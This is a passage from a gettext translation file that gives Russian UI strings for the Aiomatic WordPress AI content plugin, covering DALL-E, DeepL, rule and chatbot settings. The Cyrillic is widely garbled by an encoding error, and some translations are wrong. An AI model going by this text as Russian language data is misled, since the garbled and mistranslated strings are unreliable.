msgid "" "Daily token limit for your user account was exceeded! Please try again " "tomorrow." msgstr "" "Суточный лимит токенов Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи превышен! ПожалуйÑта, " "повторите попытку завтра." #: res/aiomatic-amazon-list.php:1698 res/aiomatic-amazon-list.php:4265 #: res/aiomatic-chatbot.php:2486 res/aiomatic-chatbot.php:4254 #: res/aiomatic-main.php:3499 res/aiomatic-review-list.php:1767 #: res/aiomatic-review-list.php:4418 res/aiomatic-rules-list.php:1896 #: res/aiomatic-rules-list.php:4654 res/aiomatic-single-list.php:2363 #: res/aiomatic-single-list.php:3113 res/aiomatic-single-list.php:4366 #: res/aiomatic-single-list.php:5680 res/aiomatic-single-list.php:7046 #: res/aiomatic-spinner-list.php:1488 res/aiomatic-youtube-list.php:1654 #: res/aiomatic-youtube-list.php:4176 msgid "Dall-E 2" msgstr "Dall-E 2" #: res/aiomatic-playground.php:26 msgid "DALL-E 2 Image Generator" msgstr "Генератор изображений DALL-E 2" #: res/aiomatic-amazon-list.php:1699 res/aiomatic-amazon-list.php:4270 #: res/aiomatic-chatbot.php:2487 res/aiomatic-chatbot.php:4255 #: res/aiomatic-main.php:3500 res/aiomatic-review-list.php:1768 #: res/aiomatic-review-list.php:4423 res/aiomatic-rules-list.php:1897 #: res/aiomatic-rules-list.php:4659 res/aiomatic-single-list.php:2364 #: res/aiomatic-single-list.php:3114 res/aiomatic-single-list.php:4367 #: res/aiomatic-single-list.php:5681 res/aiomatic-single-list.php:7047 #: res/aiomatic-spinner-list.php:1493 res/aiomatic-youtube-list.php:1655 #: res/aiomatic-youtube-list.php:4181 msgid "Dall-E 3" msgstr "Dall-E 3" #: res/aiomatic-amazon-list.php:1700 res/aiomatic-amazon-list.php:4275 #: res/aiomatic-chatbot.php:2488 res/aiomatic-chatbot.php:4256 #: res/aiomatic-main.php:3501 res/aiomatic-review-list.php:1769 #: res/aiomatic-review-list.php:4428 res/aiomatic-rules-list.php:1898 #: res/aiomatic-rules-list.php:4664 res/aiomatic-single-list.php:2365 #: res/aiomatic-single-list.php:3115 res/aiomatic-single-list.php:4368 #: res/aiomatic-single-list.php:5682 res/aiomatic-single-list.php:7048 #: res/aiomatic-spinner-list.php:1498 res/aiomatic-youtube-list.php:1656 #: res/aiomatic-youtube-list.php:4186 msgid "Dall-E 3 HD" msgstr "Dall-E 3 HD" #: res/aiomatic-playground.php:27 msgid "DALL-E 3 Image Generator" msgstr "Генератор изображений DALL-E 3" #: res/aiomatic-main.php:2569 msgid "Dall-E 3 Image Style:" msgstr "Стиль Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Dall-E 3:" #: res/aiomatic-main.php:2558 #| msgid "AI Image Generator Settings:" msgid "Dall-E AI Image Generator Settings:" msgstr "ÐаÑтройки генератора изображений Dall-E AI:" #: res/aiomatic-assistants.php:493 res/aiomatic-assistants.php:648 msgid "Dall-E AI Images" msgstr "Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Dall-E AI" #: aiomatic-ajax-actions.php:8014 res/aiomatic-shortcodes.php:202 #| msgid "Dall-E 2 Image" msgid "Dall-E Image" msgstr "Dall-E Изображение " #: res/aiomatic-amazon-list.php:20 res/aiomatic-main.php:8538 #: res/aiomatic-review-list.php:20 res/aiomatic-rules-list.php:20 #: res/aiomatic-single-list.php:20 res/aiomatic-single-list.php:158 #: res/aiomatic-youtube-list.php:20 msgid "Danish" msgstr "ДатÑкий" #: res/aiomatic-languages.php:16 msgid "Danish (Google Translate)" msgstr "ДатÑкий (переводчик Google)" #: res/aiomatic-training.php:271 msgid "Data Converter" msgstr "Преобразователь Данных" #: res/aiomatic-embeddings.php:161 msgid "Dataset (*.csv)" msgstr "Ðабор данных (*.csv)" #: res/aiomatic-training.php:95 msgid "Dataset (*.jsonl)" msgstr "Ðабор данных (*.jsonl)" #: res/aiomatic-assistants.php:180 res/aiomatic-automation-list.php:2243 #: res/aiomatic-automation-list.php:2359 res/aiomatic-chatbot.php:2309 #: res/aiomatic-embeddings.php:105 res/aiomatic-embeddings.php:648 #: res/aiomatic-embeddings.php:653 res/aiomatic-shortcodes.php:523 #: res/aiomatic-spinner-list.php:4728 res/aiomatic-spinner-list.php:4753 msgid "Date" msgstr "По дате" #: res/aiomatic-main.php:8186 msgid "Date Posted Ascendent" msgstr "Дата опубликовано ВоÑходÑщий" #: res/aiomatic-main.php:8179 msgid "Date Posted Descendant" msgstr "Дата публикации Потомок" #: res/aiomatic-main.php:8193 msgid "Date Taken Ascendent" msgstr "Ð’Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð°Ñ Ð´Ð°Ñ‚Ð° воÑходÑщаÑ" #: res/aiomatic-main.php:8200 msgid "Date Taken Descendant" msgstr "Дата взÑта потомок" #: res/aiomatic-amazon-list.php:4767 res/aiomatic-automation-list.php:7460 #: res/aiomatic-csv-list.php:1871 res/aiomatic-review-list.php:4920 #: res/aiomatic-rules-list.php:5157 res/aiomatic-youtube-list.php:4695 msgctxt "Date Time Format1" msgid "Y-m-d H:i:s" msgstr "Г-м-д H:i:s" #: res/aiomatic-limits-statistics.php:103 #: res/aiomatic-limits-statistics.php:859 #: res/aiomatic-limits-statistics.php:990 #: res/aiomatic-limits-statistics.php:1153 #: res/aiomatic-limits-statistics.php:1317 #: res/aiomatic-limits-statistics.php:1527 msgid "Day" msgstr "День" #: res/aiomatic-embeddings.php:587 res/aiomatic-spinner-list.php:4635 msgid "Day Query:" msgstr "Дневной запроÑ:" #: res/aiomatic-chatbot.php:4603 msgid "Days When To Always Show The Chatbot:" msgstr "Дни, когда вÑегда показывать чат-бота:" #: res/aiomatic-chatbot.php:4629 msgid "Days When To Never Show The Chatbot:" msgstr "Дни, когда никогда не Ñледует показывать чат-бота:" #: res/aiomatic-main.php:2866 msgid "DDIM" msgstr "DDIM" #: res/aiomatic-main.php:2871 msgid "DDPM" msgstr "DDPM" #: res/aiomatic-main.php:2398 msgid "DeepL Translator API:" msgstr "API-Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ñ‡Ð¸ÐºÐ° DeepL:" #: res/aiomatic-main.php:2409 msgid "DeepL Translator Authentication Key (Optional)" msgstr "Ключ аутентификации переводчика DeepL (необÑзательно)" #: res/aiomatic-chatbot.php:3408 res/aiomatic-embeddings.php:627 #: res/aiomatic-embeddings.php:647 res/aiomatic-spinner-list.php:3628 #: res/aiomatic-spinner-list.php:4691 res/aiomatic-spinner-list.php:4723 msgid "Default" msgstr "ТекÑÑ‚ по умолчанию" #: res/aiomatic-chatbot.php:4330 msgid "Default API Parameters:" msgstr "Параметры API по Умолчанию:" #: res/aiomatic-chatbot.php:1319 res/aiomatic-chatbot.php:4167 msgid "Default Chat Mode:" msgstr "Режим чата по умолчанию:" #: res/aiomatic-main.php:6524 msgid "Default Embeddings API To Use:" msgstr "ИÑпользуемый API Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾ умолчанию:" #: res/aiomatic-amazon-list.php:4320 res/aiomatic-review-list.php:4473 #: res/aiomatic-rules-list.php:4709 res/aiomatic-youtube-list.php:4231 msgid "Default Featured Image List" msgstr "СпиÑок избранных изображений по умолчанию" #: res/aiomatic-amazon-list.php:1734 res/aiomatic-review-list.php:1803 #: res/aiomatic-rules-list.php:1932 res/aiomatic-spinner-list.php:1510 #: res/aiomatic-youtube-list.php:1690 msgid "Default Featured Image List:" msgstr "СпиÑок избранных изображений по умолчанию:" #: res/aiomatic-main.php:5011 msgid "Default Featured Image Optimizations:" msgstr "ÐžÐ¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ñ… изображений по умолчанию:" #: res/aiomatic-single-list.php:448 res/aiomatic-single-list.php:7258 msgid "Default Template" msgstr "Шаблон по умолчанию" #: res/aiomatic-main.php:9228 msgid "" "Define the link you want to appear the defined keyword. Leave this field " "blank if you only want to replace the specified keyword without linking from " "it." msgstr "" "Определите ÑÑылку, по которой вы хотите, чтобы поÑвилоÑÑŒ определенное " "ключевое Ñлово. ОÑтавьте Ñто поле пуÑтым, еÑли вы хотите заменить указанное " "ключевое Ñлово, не ÑÑылаÑÑÑŒ на него." #: res/aiomatic-logs.php:304 msgid "" "Defines the maximum length of a variable that is registered through a POST " "request." msgstr "" "ОпределÑет макÑимальную длину переменной, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ€ÐµÐ³Ð¸ÑтрируетÑÑ Ñ‡ÐµÑ€ÐµÐ· " "Ð·Ð°Ð¿Ñ€Ð¾Ñ POST." #: res/aiomatic-amazon-list.php:264 res/aiomatic-automation-list.php:2585 #: res/aiomatic-csv-list.php:126 res/aiomatic-limits-statistics.php:1474 #: res/aiomatic-main.php:3381 res/aiomatic-main.php:9194 #: res/aiomatic-review-list.php:264 res/aiomatic-rules-list.php:274 #: res/aiomatic-youtube-list.php:264 msgid "Del" msgstr "Del" #: res/aiomatic-spinner-list.php:3943 msgid "Delay Article Editing By (Seconds):" msgstr "Задержка Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñтатьи (в Ñекундах):" #: aiomatic-automatic-ai-content-writer.php:13870 #: aiomatic-automatic-ai-content-writer.php:14652 #: res/aiomatic-assistants.php:215 res/aiomatic-automation-list.php:1232 #: res/aiomatic-automation-list.php:2016 res/aiomatic-automation-list.php:2280 #: res/aiomatic-automation-list.php:2398 res/aiomatic-automation-list.php:3699 #: res/aiomatic-automation-list.php:4483 res/aiomatic-automation-list.php:6453 #: res/aiomatic-automation-list.php:7244 res/aiomatic-chatbot.php:2334 #: res/aiomatic-embeddings.php:128 res/aiomatic-shortcodes.php:553 #: res/aiomatic-training.php:454 res/aiomatic-training.php:548 msgid "Delete" msgstr "Удалить" #: res/aiomatic-chatbot.php:5105 msgid "Delete All Conversations" msgstr "Удалить вÑе разговоры" #: res/aiomatic-embeddings.php:81 msgid "Delete All Embeddings" msgstr "Удалить Ð’Ñе Ð’ÑтраиваниÑ" #: res/aiomatic-shortcodes.php:490 msgid "Delete All Forms" msgstr "Удалить Ð’Ñе Формы" #: res/aiomatic-logs.php:586 msgid "Delete All Generated Posts" msgstr "Удалить вÑе Ñозданные ПоÑÑ‚Ñ‹" #: res/aiomatic-chatbot.php:2285 msgid "Delete All Personas" msgstr "Удалить вÑе перÑонажи" #: res/aiomatic-logs.php:576 msgid "Delete All Posts Generated by this Plugin:" msgstr "Удалить вÑе ПоÑÑ‚Ñ‹, Ñозданные Ñтим Плагином" #: res/aiomatic-logs.php:592 msgid "Delete All Rules from All Section: " msgstr "Удалить вÑе правила из вÑего раздела:" #: res/aiomatic-chatbot.php:3899 msgid "Delete an existing theme from the listed themes." msgstr "Удалите ÑущеÑтвующую тему из ÑпиÑка тем." #: res/aiomatic-chatbot.php:3903 msgid "Delete Existing Theme:" msgstr "Удалить ÑущеÑтвующую тему:" #: res/aiomatic-logs.php:620 msgid "Delete Logs" msgstr "Удалить логи" #: res/aiomatic-assistants.php:144 msgid "Delete Selected Assistants" msgstr "Удалить выбранных аÑÑиÑтентов" #: res/aiomatic-embeddings.php:80 msgid "Delete Selected Embeddings" msgstr "Удалить Выбранные Ð’ÑтраиваниÑ" #: res/aiomatic-shortcodes.php:487 msgid "Delete Selected Forms" msgstr "Удалить Выбранные Формы" #: res/aiomatic-automation-list.php:2214 msgid "Delete Selected OmniBlock Files" msgstr "Удалить выбранные файлы OmniBlock" #: res/aiomatic-automation-list.php:2332 msgid "Delete Selected OmniBlock Templates" msgstr "Удаление выбранных шаблонов OmniBlock" #: res/aiomatic-chatbot.php:2282 msgid "Delete Selected Personas" msgstr "Удалить выбранные перÑонажи" #: res/aiomatic-chatbot.php:3924 msgid "Delete Selected Theme" msgstr "Удалить выбранную тему" #: aiomatic-ajax-actions.php:7992 res/aiomatic-shortcodes.php:91 msgid "Delete this field?" msgstr "Удалить Ñто поле?" #: res/aiomatic-main.php:1586 msgid "" "Depending for which feature are you looking for, be sure to navigate to the " "respective menu of the Aiomatic plugin, wehre you will find a 'Tutorial' tab " "for each of the features available in the plugin. There you will find also a " "tutorial video, with detailed description of the feature you are setting up." msgstr "" "Ð’ завиÑимоÑти от того, какую функцию вы ищете, обÑзательно перейдите в " "ÑоответÑтвующее меню Плагина Aiomatic, где вы найдете вкладку «Учебник» Ð´Ð»Ñ " "каждой из функций, доÑтупных в Плагине. Там вы также найдете обучающее видео " "Ñ Ð¿Ð¾Ð´Ñ€Ð¾Ð±Ð½Ñ‹Ð¼ опиÑанием функции, которую вы наÑтраиваете." #: res/aiomatic-embeddings.php:628 res/aiomatic-spinner-list.php:4696 msgid "Descendent" msgstr "Потомок" #: aiomatic-ajax-actions.php:8031 res/aiomatic-assistants.php:168 #: res/aiomatic-shortcodes.php:220 res/image-seo/seo-panel.php:109 msgid "Description" msgstr "ОпиÑание" #: res/image-seo/seo-panel.php:34 msgid "Description Text" msgstr "ОпиÑание ТекÑÑ‚" #: res/aiomatic-logs.php:89 msgid "Detailed System Info:" msgstr "ÐŸÐ¾Ð´Ñ€Ð¾Ð±Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ ÑиÑтеме:" #: res/aiomatic-more.php:17 msgid "Developer Tools Tutorials" msgstr "Учебные поÑÐ¾Ð±Ð¸Ñ Ð¿Ð¾ инÑтрументам разработчика" #: res/aiomatic-more.php:45 msgid "Developer Tools Tutorials:" msgstr "Учебные поÑÐ¾Ð±Ð¸Ñ Ð¿Ð¾ инÑтрументам разработчика:" #: res/aiomatic-amazon-list.php:114 res/aiomatic-review-list.php:114 #: res/aiomatic-rules-list.php:114 res/aiomatic-single-list.php:114 #: res/aiomatic-single-list.php:252 res/aiomatic-youtube-list.php:114 msgid "Dhivehi" msgstr "МальдивÑкий (Дивехи)" #: res/aiomatic-languages.php:115 msgid "Dhivehi (Google Translate)" msgstr "Дивехи (Переводчик Google)" #: res/aiomatic-main.php:4889 msgid "Digital Ocean Spaces API Key:" msgstr "Digital Ocean Spaces API Key:" #: res/aiomatic-main.php:4905 msgid "Digital Ocean Spaces API Secret:" msgstr "Digital Ocean Spaces API Secret:" #: res/aiomatic-main.php:4857 msgid "Digital Ocean Spaces Directory:" msgstr "Каталог Digital Ocean Spaces" #: res/aiomatic-main.php:4873 msgid "Digital Ocean Spaces Origin Endpoint:" msgstr "ИÑÑ…Ð¾Ð´Ð½Ð°Ñ ÐºÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ñ‚Ð¾Ñ‡ÐºÐ° Digital Ocean Spaces:" #: res/aiomatic-main.php:4844 msgid "Digital Ocean Spaces Settings:" msgstr "ÐаÑтройки Digital Ocean Spaces:" #: res/aiomatic-main.php:2781 msgid "digital-art" msgstr "цифровое иÑкуÑÑтво" #: res/aiomatic-main.php:6495 msgid "Disable AI Writer Usage To Get More Headings:" msgstr "" "Отключите иÑпользование AI СоздателÑ, чтобы получить больше Заголовков:" #: res/aiomatic-main.php:4514 msgid "Disable Automatic Image Compression For Copied Images:" msgstr "" "Отключите автоматичеÑкое Ñжатие изображений Ð´Ð»Ñ Ñкопированных изображений:" #: res/aiomatic-main.php:6475 msgid "Disable Bing Search Scraping To Get More Headings:" msgstr "Отключите парÑинг поиÑка Bing, чтобы получить больше Заголовоков:" #: res/aiomatic-spinner-list.php:4004 msgid "Disable Editing of 'Custom Post Types':" msgstr "Отключить редактирование «ПользовательÑких Типов запиÑей»:" #: res/aiomatic-spinner-list.php:3988 msgid "Disable Editing of 'Pages':" msgstr "Отключить редактирование «Ñтраниц»:" #: res/aiomatic-spinner-list.php:3972 msgid "Disable Editing of 'Posts':" msgstr "Отключить редактирование «ПоÑтов»:" #: res/aiomatic-spinner-list.php:1188 msgid "Disable Editing of Content Longer Than This Character Count:" msgstr "Отключите редактирование контента, длиннее Ñтого количеÑтва Ñимволов:" #: res/aiomatic-spinner-list.php:4033 msgid "Disable Editing of Selected Categories:" msgstr "Отключить редактирование выбранных категорий:" #: res/aiomatic-spinner-list.php:4077 msgid "Disable Editing of Selected Tags:" msgstr "Отключить ÐвтопоÑтинг из Выбранных тегов:" #: res/aiomatic-assistants.php:491 res/aiomatic-assistants.php:646 msgid "Disable Functions" msgstr "Отключить Функции" #: res/aiomatic-main.php:7604 msgid "Disable Media Library Extension:" msgstr "Отключить РаÑширение Медиатеки:" #: res/aiomatic-chatbot.php:2618 msgid "Disable Sending Of Empty Chat Messages:" msgstr "Отключить отправку пуÑÑ‚Ñ‹Ñ… Ñообщений чата:" #: aiomatic-ajax-actions.php:8120 res/aiomatic-amazon-list.php:1224 #: res/aiomatic-amazon-list.php:1307 res/aiomatic-amazon-list.php:1434 #: res/aiomatic-amazon-list.php:1618 res/aiomatic-amazon-list.php:3758 #: res/aiomatic-amazon-list.php:3843 res/aiomatic-amazon-list.php:3996 #: res/aiomatic-amazon-list.php:4170 res/aiomatic-csv-list.php:578 #: res/aiomatic-csv-list.php:1729 res/aiomatic-languages.php:4 #: res/aiomatic-main.php:3083 res/aiomatic-main.php:6119 #: res/aiomatic-main.php:7382 res/aiomatic-main.php:7886 #: res/aiomatic-review-list.php:1293 res/aiomatic-review-list.php:1376 #: res/aiomatic-review-list.php:1503 res/aiomatic-review-list.php:1687 #: res/aiomatic-review-list.php:3911 res/aiomatic-review-list.php:3996 #: res/aiomatic-review-list.php:4149 res/aiomatic-review-list.php:4323 #: res/aiomatic-rules-list.php:1426 res/aiomatic-rules-list.php:1509 #: res/aiomatic-rules-list.php:1636 res/aiomatic-rules-list.php:4159 #: res/aiomatic-rules-list.php:4244 res/aiomatic-rules-list.php:4397 #: res/aiomatic-shortcodes.php:307 res/aiomatic-single-list.php:1233 #: res/aiomatic-single-list.php:2130 res/aiomatic-single-list.php:2865 #: res/aiomatic-single-list.php:4118 res/aiomatic-single-list.php:5432 #: res/aiomatic-single-list.php:6798 res/aiomatic-spinner-list.php:931 #: res/aiomatic-spinner-list.php:1267 res/aiomatic-spinner-list.php:1365 #: res/aiomatic-spinner-list.php:1543 res/aiomatic-spinner-list.php:1632 #: res/aiomatic-spinner-list.php:2068 res/aiomatic-spinner-list.php:2194 #: res/aiomatic-spinner-list.php:2369 res/aiomatic-spinner-list.php:2543 #: res/aiomatic-spinner-list.php:2794 res/aiomatic-spinner-list.php:4151 #: res/aiomatic-spinner-list.php:4185 res/aiomatic-youtube-list.php:1180 #: res/aiomatic-youtube-list.php:1263 res/aiomatic-youtube-list.php:1390 #: res/aiomatic-youtube-list.php:1574 res/aiomatic-youtube-list.php:3669 #: res/aiomatic-youtube-list.php:3754 res/aiomatic-youtube-list.php:3907 #: res/aiomatic-youtube-list.php:4081 msgid "Disabled" msgstr "Отключённый" #: res/image-seo/seo-panel.php:112 msgid "Displayed on attachment pages." msgstr "ОтображаетÑÑ Ð½Ð° прикрепленных Ñтраницах ." #: res/aiomatic-logs.php:151 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "Отображает, находитÑÑ Ð»Ð¸ WordPress в режиме отладки." #: aiomatic-automation.php:506 msgid "Do Also A Second Translation To" msgstr "Сделайте также второй перевод" #: res/aiomatic-main.php:6032 msgid "Do Also A Second Translation To:" msgstr "Сделайте также второй перевод:" #: res/aiomatic-amazon-list.php:1367 res/aiomatic-amazon-list.php:3933 #: res/aiomatic-review-list.php:1436 res/aiomatic-review-list.php:4086 #: res/aiomatic-rules-list.php:1569 res/aiomatic-rules-list.php:4334 #: res/aiomatic-youtube-list.php:1323 res/aiomatic-youtube-list.php:3844 msgid "Do Not Add a Category" msgstr "Ðе добавлÑÑ‚ÑŒ категорию" #: res/aiomatic-amazon-list.php:3970 res/aiomatic-review-list.php:4123 #: res/aiomatic-rules-list.php:4371 res/aiomatic-youtube-list.php:3881 #| msgid "Do Not Add Inexisting Categories" msgid "Do Not Add Inexistent Categories" msgstr "Ðе добавлÑÑ‚ÑŒ ÐеÑущеÑтвующие Категории" #: res/aiomatic-amazon-list.php:1412 res/aiomatic-review-list.php:1481 #: res/aiomatic-rules-list.php:1614 res/aiomatic-spinner-list.php:2228 #: res/aiomatic-youtube-list.php:1368 #| msgid "Do Not Add Inexisting Categories:" msgid "Do Not Add Inexistent Categories:" msgstr "Ðе добавлÑÑ‚ÑŒ ÐеÑущеÑтвующие Категории:" #: res/aiomatic-spinner-list.php:2403 #| msgid "Do Not Add Inexisting Tags:" msgid "Do Not Add Inexistent Tags:" msgstr "Ðе добавлÑÑ‚ÑŒ неÑущеÑтвующие Теги:" #: res/aiomatic-main.php:5785 msgid "Do Not Check For Duplicate Titles:" msgstr "Ðе проверÑÑ‚ÑŒ ПовторÑющиеÑÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸:" #: res/aiomatic-main.php:7822 msgid "Do Not Randomize Royalty Free Image Results Order: " msgstr "Ðе рандомизировать порÑдок результатов Изображений Royalty Free:" #: res/aiomatic-main.php:7766 msgid "Do Not Randomize Royalty Free Source Order, But Use The Below Order: " msgstr "" "Ðе изменÑйте порÑдок ИÑточника Без Лицензионных ОтчиÑлений Ñлучайным образом," " а иÑпользуйте указанный ниже порÑдок:" #: res/aiomatic-amazon-list.php:4702 res/aiomatic-automation-list.php:7394 #: res/aiomatic-csv-list.php:1805 res/aiomatic-review-list.php:4855 #: res/aiomatic-rules-list.php:5091 res/aiomatic-youtube-list.php:4630 msgid "Do Not Run This Rule On The Following Days Of The Week" msgstr "Ðе применÑйте Ñто правило в Ñледующие дни недели" #: res/aiomatic-amazon-list.php:2110 res/aiomatic-automation-list.php:4673 #: res/aiomatic-csv-list.php:657 res/aiomatic-review-list.php:2179 #: res/aiomatic-rules-list.php:2308 res/aiomatic-youtube-list.php:2081 msgid "Do Not Run This Rule On The Following Days Of The Week:" msgstr "Ðе применÑйте Ñто правило в Ñледующие дни недели:" #: res/aiomatic-main.php:8093 msgid "Do Not Search By Photo Licenses" msgstr "Ðе ИÑкать по Фото Лицензии" #: res/aiomatic-amazon-list.php:4379 res/aiomatic-csv-list.php:1365 #: res/aiomatic-review-list.php:4532 res/aiomatic-rules-list.php:4768 #: res/aiomatic-youtube-list.php:4290 msgid "Do Not Spin Posts Generated By This Rule" msgstr "Ðе крутите ПоÑÑ‚Ñ‹, Ñозданные Ñтим правилом" #: res/aiomatic-amazon-list.php:1810 res/aiomatic-csv-list.php:244 #: res/aiomatic-review-list.php:1879 res/aiomatic-rules-list.php:2008 #: res/aiomatic-single-list.php:1154 res/aiomatic-single-list.php:2457 #: res/aiomatic-single-list.php:3207 res/aiomatic-single-list.php:4460 #: res/aiomatic-single-list.php:5774 res/aiomatic-single-list.php:7140 #: res/aiomatic-youtube-list.php:1766 msgid "Do Not Spin Posts Generated By This Rule:" msgstr "Ðе раÑкручивайте ПоÑÑ‚Ñ‹, Ñозданные Ñтим правилом:" #: res/aiomatic-main.php:6248 msgid "Do Not Spin Title, Only Content:" msgstr "Ðе вращайте Заголовок, только Контент:" #: res/aiomatic-amazon-list.php:4395 res/aiomatic-csv-list.php:1381 #: res/aiomatic-review-list.php:4548 res/aiomatic-rules-list.php:4784 #: res/aiomatic-youtube-list.php:4306 msgid "Do Not Translate Posts Generated By This Rule" msgstr "Ðе переводить ПоÑÑ‚Ñ‹, Ñозданные по Ñтому правилу" #: res/aiomatic-amazon-list.php:1822 res/aiomatic-csv-list.php:256 #: res/aiomatic-review-list.php:1891 res/aiomatic-rules-list.php:2020 #: res/aiomatic-single-list.php:1166 res/aiomatic-single-list.php:2469 #: res/aiomatic-single-list.php:3219 res/aiomatic-single-list.php:4472 #: res/aiomatic-single-list.php:5786 res/aiomatic-single-list.php:7152 #: res/aiomatic-youtube-list.php:1778 msgid "Do Not Translate Posts Generated By This Rule:" msgstr "Ðе переводить ПоÑÑ‚Ñ‹, Ñозданные по Ñтому правилу:" #: res/aiomatic-main.php:1746 #, php-format msgid "" "Do you enjoy our plugin? Please give it a " "rating on CodeCanyon, or check our " "website for other cool plugins." msgstr "" "Вам нравитÑÑ Ð½Ð°Ñˆ Плагин? ПожалуйÑта, дайте ему рейтинг на CodeCanyon или проверьте наш Ñайт Ð´Ð»Ñ Ð´Ñ€ÑƒÐ³Ð¸Ñ… интереÑных Плагинов." #: res/aiomatic-spinner-list.php:3939 msgid "" "Do you want delay automatic editing of the posted article with this amount " "of seconds from post publish? This will create a single cron job for each " "post (cron is a requirement for this to function). If you leave this field " "blank, posts will be automatically spun on post publish." msgstr "" "Ð’Ñ‹ хотите задержать автоматичеÑкое редактирование опубликованной Ñтатьи на " "Ñто количеÑтво Ñекунд поÑле публикации? Это ÑоздаÑÑ‚ одно задание cron Ð´Ð»Ñ " "каждого ПоÑта (Ð´Ð»Ñ ÐµÐ³Ð¾ работы требуетÑÑ cron). ЕÑли вы оÑтавите Ñто поле " "пуÑтым, ПоÑÑ‚Ñ‹ будут автоматичеÑки добавлÑÑ‚ÑŒÑÑ Ð¿Ñ€Ð¸ публикации ПоÑÑ‚Ñ‹." #: res/aiomatic-amazon-list.php:1266 res/aiomatic-amazon-list.php:3803 #: res/aiomatic-csv-list.php:620 res/aiomatic-csv-list.php:1774 #: res/aiomatic-review-list.php:1335 res/aiomatic-review-list.php:3956 #: res/aiomatic-rules-list.php:1468 res/aiomatic-rules-list.php:4204 #: res/aiomatic-single-list.php:1275 res/aiomatic-single-list.php:2172 #: res/aiomatic-single-list.php:2907 res/aiomatic-single-list.php:4160 #: res/aiomatic-single-list.php:5474 res/aiomatic-single-list.php:6840 #: res/aiomatic-spinner-list.php:2144 res/aiomatic-youtube-list.php:1222 #: res/aiomatic-youtube-list.php:3714 msgid "" "Do you want to add nofollow attribute to manually entered, external links?" msgstr "Хотите добавить атрибут nofollow к внешним ÑÑылкам, введенным вручную?" #: res/aiomatic-amazon-list.php:3832 res/aiomatic-review-list.php:3985 #: res/aiomatic-rules-list.php:4233 res/aiomatic-youtube-list.php:3743 msgid "Do you want to automatically add post categories from the feed items?" msgstr "Хотите автоматичеÑки добавлÑÑ‚ÑŒ категорAI ПоÑтов из Ñлементов ленты?" #: res/aiomatic-amazon-list.php:1299 res/aiomatic-review-list.php:1368 #: res/aiomatic-rules-list.php:1501 res/aiomatic-youtube-list.php:1255 msgid "" "Do you want to automatically add post categories from the generated items?" msgstr "" "Ð’Ñ‹ хотите автоматичеÑки добавлÑÑ‚ÑŒ категорAI ПоÑтов из Ñгенерированных " "Ñлементов?" #: res/aiomatic-amazon-list.php:3985 res/aiomatic-review-list.php:4138 #: res/aiomatic-rules-list.php:4386 res/aiomatic-youtube-list.php:3896 msgid "Do you want to automatically add post tags from the feed items?" msgstr "Хотите автоматичеÑки добавлÑÑ‚ÑŒ теги запиÑей из Ñлементов ленты?" #: res/aiomatic-amazon-list.php:1426 res/aiomatic-review-list.php:1495 #: res/aiomatic-rules-list.php:1628 res/aiomatic-youtube-list.php:1382 msgid "Do you want to automatically add post tags from the generated items?" msgstr "" "Ð’Ñ‹ хотите автоматичеÑки добавлÑÑ‚ÑŒ теги ПоÑтов из Ñгенерированных Ñлементов?" #: aiomatic-automation.php:508 res/aiomatic-main.php:6028 msgid "" "Do you want to automatically translate generated content a second time, to " "this final language? In some cases, this can replace word spinning of " "scraped content. Please note that this can increase the amount of requests " "made to the translation APIs. This field has no effect if you don't set also " "a first translation language, in the settings field from above." msgstr "" "Хотите ли вы автоматичеÑки перевеÑти Ñгенерированный контент во второй раз " "на Ñтот поÑледний Ñзык? Ð’ некоторых ÑлучаÑÑ… Ñто может заменить вращение Ñлов " "из Ñкрапленного контента. Обратите внимание, что Ñто может увеличить " "количеÑтво запроÑов к API перевода. Это поле не имеет никакого Ñффекта, еÑли " "вы не уÑтановили также первый Ñзык перевода в поле наÑтроек Ñверху." #: aiomatic-automation.php:496 msgid "" "Do you want to automatically translate generated content using Google " "Translate/Microsoft Translator/DeepL to any language?" msgstr "" "Хотите автоматичеÑки переводить Ñозданный контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google " "Translate/Microsoft Translator/DeepL на любой Ñзык?" #: res/aiomatic-main.php:5918 msgid "" "Do you want to automatically translate generated content using Google " "Translate?" msgstr "" "Ð’Ñ‹ хотите автоматичеÑки переводить Ñгенерированный Контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Google " "Translate?" #: res/aiomatic-main.php:4438 msgid "" "Do you want to copy royalty free or AI generated images from posts content, " "from their original location to a local/remote server?" msgstr "" "Хотите Ñкопировать изображениÑ, не требующие лицензионных отчиÑлений, или " "изображениÑ, Ñозданные иÑкуÑÑтвенным интеллектом, из контента поÑтов из их " "иÑходного меÑÑ‚Ð¾Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° локальном/удаленном Ñервере?" #: res/aiomatic-amazon-list.php:268 res/aiomatic-automation-list.php:2589 #: res/aiomatic-csv-list.php:130 res/aiomatic-limits-statistics.php:1478 #: res/aiomatic-main.php:3385 res/aiomatic-main.php:9198 #: res/aiomatic-review-list.php:268 res/aiomatic-rules-list.php:278 #: res/aiomatic-youtube-list.php:268 msgid "Do you want to delete this rule?" msgstr "Ð’Ñ‹ хотите удалить Ñто правило?" #: res/aiomatic-main.php:4510 msgid "Do you want to disable automatic compression of copied images?" msgstr "Ð’Ñ‹ хотите отключить автоматичеÑкое Ñжатие Ñкопированных изображений?" #: 